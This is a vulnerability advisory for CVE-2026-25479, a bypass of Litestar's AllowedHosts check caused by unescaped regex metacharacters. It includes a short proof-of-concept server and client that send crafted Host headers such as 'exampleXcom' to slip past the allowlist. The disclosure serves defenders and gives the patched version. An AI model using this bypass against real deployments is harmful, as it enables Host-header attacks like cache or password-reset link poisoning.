---
id: CVE-2026-25479
aliases:
  - GHSA-93ph-p7v4-hwh4
  - PYSEC-2026-2196
title: >-
  Litestar's AllowedHosts has a validation bypass due to unescaped regex
  metacharacters in configured host patterns
summary: >-
  Litestar's AllowedHosts has a validation bypass due to unescaped regex
  metacharacters in configured host patterns
severity: medium
cvss: 6.5
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N'
vendor: litestar
product: litestar
ecosystem: pip
affected:
  - 'litestar >= 2.19.0, < 2.20.0'
patched:
  - litestar 2.20.0
published: '2026-02-09'
updated: '2026-07-13'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-93ph-p7v4-hwh4'
references:
  - url: >-
      https://github.com/litestar-org/litestar/security/advisories/GHSA-93ph-p7v4-hwh4
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-25479'
  - url: >-
      https://github.com/litestar-org/litestar/commit/06b36f481d1bfea6f19995cfb4f203aba45c4ace
  - url: 'https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0'
  - url: 'https://github.com/litestar-org/litestar'
  - url: 'https://github.com/litestar-org/litestar/releases/tag/v2.20.0'
tags:
  - osv
  - pip
epss: 0.00408
epssPercentile: 0.32298
ingestedAt: '2026-07-13T18:57:55.671Z'
---

## Overview

### Summary
AllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom

### Details
In litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname.

### PoC
Server (poc_allowed_hosts_server.py)

```
from litestar import Litestar, get
from litestar.middleware.allowed_hosts import AllowedHostsConfig

@get("/")
async def index() -> str:
    return "ok"

config = AllowedHostsConfig(allowed_hosts=["example.com"])
app = Litestar([index], allowed_hosts_config=config)
```

`uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001`

Client (poc_allowed_hosts_client.py)

```
import http.client

def req(host_header: str) -> tuple[int, bytes]:
    c = http.client.HTTPConnection("127.0.0.1", 8001, timeout=3)
    c.request("GET", "/", headers={"Host": host_header})
    r = c.getresponse()
    body = r.read()
    c.close()
    return r.status, body

print("evil.com:", *req("evil.com"))
print("exampleXcom:", *req("exampleXcom"))
```

Expected (vulnerable behavior):
Host: evil.com → 400 invalid host

Host: exampleXcom → 200 ok (bypass)

### Impact
Type: security control bypass (host allowlist)
Who is impacted: apps relying on AllowedHosts to prevent Host header attacks (cache poisoning, absolute URL construction abuse, password reset link poisoning, etc.). The downstream impact depends on app behavior, but the bypass defeats a core mitigation layer.

## Affected packages

- `litestar >= 2.19.0, < 2.20.0`

## Remediation

Upgrade to a patched release:

- `litestar 2.20.0`